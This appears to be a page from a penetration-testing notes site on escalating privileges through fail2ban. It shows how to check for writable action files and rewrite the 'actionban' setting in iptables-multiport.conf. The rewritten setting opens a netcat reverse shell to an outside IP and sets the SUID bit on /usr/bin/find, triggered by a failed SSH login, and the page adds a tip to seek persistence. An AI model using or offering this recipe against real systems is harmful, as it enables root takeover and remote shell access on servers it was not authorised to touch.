> For the complete documentation index, see [llms.txt](https://kashz.gitbook.io/kashz-jewels/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://kashz.gitbook.io/kashz-jewels/services/fail2ban.md).

# fail2ban

Fail2Ban is an IPS framework that protects computer servers from brute-force attacks.

## Interesting Paths

```
# log file path
- /var/log/fail2ban.log
```

## Privilege Escalation Requirement

```
# should be writable
/etc/fail2ban/action.d/*
```

## Exploit

<https://grumpygeekwrites.wordpress.com/2021/01/29/privilege-escalation-via-fail2ban/>

```
# check if writable
$ ls -la iptables-multiport.conf

# this file has 2 actions: actionban & actionunban
# update actionban = <sticky-bandit>
actionban = /usr/bin/nc -e /bin/bash 192.168.49.122 9000
            chmod +s /usr/bin/find

# force ssh in as user and actionban will execute
# default actionban is for 1 minute; so rev-shell will die in 1 min; try for persistence
```